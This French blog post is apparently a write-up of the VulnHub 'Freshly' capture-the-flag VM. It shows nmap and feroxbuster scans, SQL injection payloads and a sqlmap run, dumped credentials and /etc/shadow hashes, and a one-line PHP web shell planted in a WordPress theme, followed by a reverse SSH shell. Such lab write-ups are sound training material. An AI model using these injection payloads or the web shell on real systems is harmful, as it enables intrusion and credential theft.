Accueil Solution du CTF Freshly de VulnHub
Post
Annuler

Solution du CTF Freshly de VulnHub

Freshly est un CTF datant de février 2015 et créé par TopHatSec.

Il est plutôt basique et l’exploitation finale manque de panache :p

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
$ sudo nmap -sCV -T5 -p- 192.168.56.89
[sudo] Mot de passe de root : 
Starting Nmap 7.93 ( https://nmap.org ) at 2023-01-02 09:28 CET
Nmap scan report for 192.168.56.89
Host is up (0.00017s latency).
Not shown: 65532 closed tcp ports (reset)
PORT     STATE SERVICE  VERSION
80/tcp   open  http     Apache httpd 2.4.7 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.7 (Ubuntu)
443/tcp  open  ssl/http Apache httpd
|_http-title: 400 Bad Request
| ssl-cert: Subject: commonName=www.example.com
| Not valid before: 2015-02-17T03:30:05
|_Not valid after:  2025-02-14T03:30:05
|_http-server-header: Apache
8080/tcp open  http     Apache httpd
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache
MAC Address: 08:00:27:14:C0:6A (Oracle VirtualBox virtual NIC)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.71 seconds

So much website !

Celui sur le port 80 ne retourne qu’une image alors je lance une énumération :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
$ feroxbuster -u http://192.168.56.89/ -w fuzzdb/discovery/predictable-filepaths/filename-dirname-bruteforce/raft-large-directories.txt -n

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.4.0
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://192.168.56.89/
 🚀  Threads               │ 50
 📖  Wordlist              │ fuzzdb/discovery/predictable-filepaths/filename-dirname-bruteforce/raft-large-directories.txt
 👌  Status Codes          │ [200, 204, 301, 302, 307, 308, 401, 403, 405, 500]
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.4.0
 🚫  Do Not Recurse        │ true
 🎉  New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Cancel Menu™
──────────────────────────────────────────────────
301        9l       28w      318c http://192.168.56.89/javascript
301        9l       28w      318c http://192.168.56.89/phpmyadmin
403       10l       30w      293c http://192.168.56.89/server-status

Je trouve aussi un script login.php en recherchant les noms de fichiers.

Ce dernier semble sensible aux caractères spéciaux SQL dans le champ de mot de passe mais au lieu de nous connecter il ne fait qu’affichier 0 ou 1 en résultat.

Ainsi si je rentre admin / admin ça affiche 0 mais j’obtiens 1 si je rentre ' or '1 comme mot de passe.

Après quelques essais plus poussés le champ user est aussi vulnérable : on obtient une temporisation si on tape admin' or sleep(10) or '.

Je lance sqlmap et en attendant qu’il fasse son job je saute sur le port 443.

Sur ce port on trouve un Wordpress à l’adresse /wordpress. Juste en regardant le code source on obtient un bon nombre de métadonnées :

1
2
3
4
5
6
7
	<script type='text/javascript' src='http://192.168.56.89/wordpress/wp-content/plugins/proplayer/js/swfobject.js'></script>
<!-- All in One SEO Pack 2.2.5.1 by Michael Torbert of Semper Fi Web Design[297,356] -->
<link rel='stylesheet' id='contact-form-7-css' href='https://192.168.56.89/wordpress/wp-content/plugins/contact-form-7/includes/css/styles.css?ver=4.1' type='text/css' media='all'/>
<link rel='stylesheet' id='cart66-css-css' href='https://192.168.56.89/wordpress/wp-content/plugins/cart66-lite/cart66.css?ver=1.5.3' type='text/css' media='all'/>
<meta name="generator" content="WordPress 4.1"/>
<meta name="generator" content="Cart66 Lite 1.5.3"/>
<a href="https://bitnami.com/stack/wordpress/" title="Semantic Personal Publishing Platform">Proudly powered by Bitnami WordPress Stack</a>

En cherchant proplayer sur exploit-db je trouve deux exploits, tous deux pour de l’injection SQL.

Pour Cart66 je trouve un XSS, un CSRF et encore une faille SQL. Cette dernière requiert malheureusement un compte valide sur le Wordpress.

Pour le All In One SEO Pack je ne trouve que des failles XSS.

A ce stade, vu la lenteur du site exploit-db.com ces derniers temps, sqlmap a déjà détecté les vulnérabilités dans le script de login :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
$ python sqlmap.py -u http://192.168.56.89/login.php --data "user=test&password=test&s=Submit" --dbms mysql --risk 3 --level 5 --flush-session
        ___
       __H__
 ___ ___[(]_____ ___ ___  {1.6.11.7#dev}
|_ -| . [)]     | .'| . |
|___|_  [.]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 09:46:17 /2023-01-02/

[09:46:17] [INFO] flushing session file
[09:46:17] [INFO] testing connection to the target URL
[09:46:17] [INFO] checking if the target is protected by some kind of WAF/IPS
[09:46:17] [INFO] testing if the target URL content is stable
[09:46:17] [INFO] target URL content is stable
[09:46:17] [INFO] testing if POST parameter 'user' is dynamic
[09:46:17] [WARNING] POST parameter 'user' does not appear to be dynamic
[09:46:17] [WARNING] heuristic (basic) test shows that POST parameter 'user' might not be injectable
[09:46:17] [INFO] testing for SQL injection on POST parameter 'user'
[09:46:18] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
--- snip ---
[09:46:28] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[09:46:38] [INFO] POST parameter 'user' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable 
[09:46:38] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[09:46:38] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[09:46:38] [INFO] target URL appears to be UNION injectable with 2 columns
injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n] y
[09:52:01] [INFO] testing 'Generic UNION query (52) - 21 to 40 columns'
[09:52:02] [INFO] testing 'Generic UNION query (52) - 41 to 60 columns'
[09:52:02] [INFO] testing 'Generic UNION query (52) - 61 to 80 columns'
[09:52:02] [INFO] testing 'Generic UNION query (52) - 81 to 100 columns'
[09:52:02] [INFO] testing 'MySQL UNION query (52) - 1 to 20 columns'
[09:52:02] [INFO] testing 'MySQL UNION query (52) - 21 to 40 columns'
[09:52:02] [INFO] testing 'MySQL UNION query (52) - 41 to 60 columns'
[09:52:02] [INFO] testing 'MySQL UNION query (52) - 61 to 80 columns'
[09:52:02] [INFO] testing 'MySQL UNION query (52) - 81 to 100 columns'
[09:52:02] [INFO] checking if the injection point on POST parameter 'user' is a false positive
POST parameter 'user' is vulnerable. Do you want to keep testing the others (if any)? [y/N] y
[09:53:52] [INFO] testing if POST parameter 'password' is dynamic
--- snip ---
POST parameter 'password' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n
sqlmap identified the following injection point(s) with a total of 4549 HTTP(s) requests:
---
Parameter: password (POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: user=test&password=test' AND (SELECT 2765 FROM (SELECT(SLEEP(5)))JfmU)-- ZRgb&s=Submit

Parameter: user (POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: user=test' AND (SELECT 1752 FROM (SELECT(SLEEP(5)))ArNm)-- pnyG&password=test&s=Submit
---

et j’ai pu extraire quelques infos :

1
2
3
4
5
6
7
8
9
10
available databases [7]:
[*] information_schema
[*] login
[*] mysql
[*] performance_schema
[*] phpmyadmin
[*] users
[*] wordpress8080

current user: 'root@localhost'

Je prends tout de même la peine de tester les failles SQL de ProPlayer car je gagnerais du temps si l’une des failles n’est pas time-based (utilisation de la fonction sleep()). Malheureusement cette version du plugin ne semble pas vulnérable.

Je jette aussi un œil au port 8080, mais il ne semble être que la version en clair du port 443.

On est bon pour continuer sur ce port 80… et on sent que l’extraction des données va prendre en certains temps.

La base de données login à deux tables, étrange.

1
2
3
4
5
6
Database: login
[2 tables]
+-----------+
| user_name |
| users     |
+-----------+

Effectivement la première semble plus être un test, on trouve les identifiants suivants dans la seconde :

1
2
3
4
5
6
7
8
9
Database: login
Table: users
[2 entries]
+----------+-----------+
| password | user_name |
+----------+-----------+
| password | candyshop |
| PopRocks | Sir       |
+----------+-----------+

Ces identifiants ne fonctionnent ni sur le script de login ni sur le Wordpress.

Hidden in plain text

Quand je dumpe le contenu de la base Wordpress je trouve une table users qui ne ressemble pas à la structure habituelle et avec le mot de passe en clair :

1
2
3
4
5
6
7
8
Database: wordpress8080
Table: users
[1 entry]
+----------+---------------------+
| username | password            |
+----------+---------------------+
| admin    | SuperSecretPassword |
+----------+---------------------+

Je parviens tout de même à me connecter en admin sur le Wordpress.

De là je peux éditer un fichier PHP du thème Wordpress pour y ajouter un code d’exécution :

1
if (isset($_GET["cmd"])) { system($_GET["cmd"]); }

J’obtiens alors les droits de l’utilisateur système daemon.

J’upload et j’exécute un reverse-sshx86 et je peux alors me connecter via le client SSH sur le port 31337 de la VM.

Je récupère la config du Wordpress :

1
2
3
4
5
6
7
8
9
10
11
12
// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define('DB_NAME', 'bitnami_wordpress');

/** MySQL database username */
define('DB_USER', 'bn_wordpress');

/** MySQL database password */
define('DB_PASSWORD', '33d8f95847');

/** MySQL hostname */
define('DB_HOST', 'localhost:3305');

Quand j’affiche le contenu de /etc/passwd j’ai une drole de surprise :

1
2
3
4
5
6
7
8
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
--- snip ---
user:x:1000:1000:user,,,:/home/user:/bin/bash
mysql:x:103:111:MySQL Server,,,:/nonexistent:/bin/false
candycane:x:1001:1001::/home/candycane:
# YOU STOLE MY SECRET FILE!
# SECRET = "NOBODY EVER GOES IN, AND NOBODY EVER COMES OUT!"

La description du CTF indiquait :

The goal of this challenge is to break into the machine via the web and find the secret hidden in a sensitive file. If you can find the secret, send me an email for verification. :)

Sommes-nous arrivés à la fin ?

Je me rend compte aussi que /etc/shadow est lisible pour tous :

1
2
3
4
5
6
7
8
9
root:$6$If.Y9A3d$L1/qOTmhdbImaWb40Wit6A/wP5tY5Ia0LB9HvZvl1xAGFKGP5hm9aqwvFtDIRKJaWkN8cuqF6wMvjl1gxtoR7/:16483:0:99999:7:::
daemon:*:16483:0:99999:7:::
bin:*:16483:0:99999:7:::
--- snip ---
user:$6$MuqQZq4i$t/lNztnPTqUCvKeO/vvHd9nVe3yRoES5fEguxxHnOf3jR/zUl0SFs825OM4MuCWlV7H/k2QCKiZ3zso.31Kk31:16483:0:99999:7:::
mysql:!:16483:0:99999:7:::
candycane:$6$gfTgfe6A$pAMHjwh3aQV1lFXtuNDZVYyEqxLWd957MSFvPiPaP5ioh7tPOwK2TxsexorYiB0zTiQWaaBxwOCTRCIVykhRa/:16483:0:99999:7:::
# YOU STOLE MY PASSWORD FILE!
# SECRET = "NOBODY EVER GOES IN, AND NOBODY EVER COMES OUT!"

Le hash de l’utilisateur candycane se casse vite (password) mais le compte n’a pas de dossier personnel sur le système ni de droits sudo.

Le hash de l’utilisateur root correspond lui au mot de passe SuperSecretPassword que l’on a vu plus tôt.

La VM est aussi vulnérable à DirtyCOW ou la faille overlayfs mais l’absence de gcc (sur un système 32 bits avec une vieille glibc) nécessite de cross-compiler en static les exploits, ce qui n’est pas très agréable.

Publié le 2 janvier 2023

Cet article est sous licence CC BY 4.0 par l'auteur.